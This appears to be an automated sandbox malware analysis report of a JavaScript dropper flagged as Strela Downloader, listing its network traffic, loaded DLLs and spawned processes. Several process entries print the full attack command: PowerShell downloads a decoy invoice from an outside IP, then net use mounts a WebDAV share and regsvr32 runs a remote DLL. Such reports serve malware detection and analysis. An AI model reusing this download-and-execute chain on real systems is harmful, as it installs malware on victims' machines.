Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2045230735.0000027692647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2116540811.00000166ACF4B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2129851934.00000166ACEF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2131674255.00000166ACF4D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2131564488.00000166ACF2B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2126913659.00000166ACF2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2131564488.00000166ACF2B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2126913659.00000166ACF2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/N
Source: net.exe, 00000007.00000002.2129851934.00000166ACEF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacez
Source: svchost.exe, 00000009.00000002.3323610548.00000215CC600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2126911004.00000215CC4A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1396, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1849946161599211804.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:528:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_poyb54hj.w5o.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1568,i,11927233593023395360,797223698240011485,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1568,i,11927233593023395360,797223698240011485,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
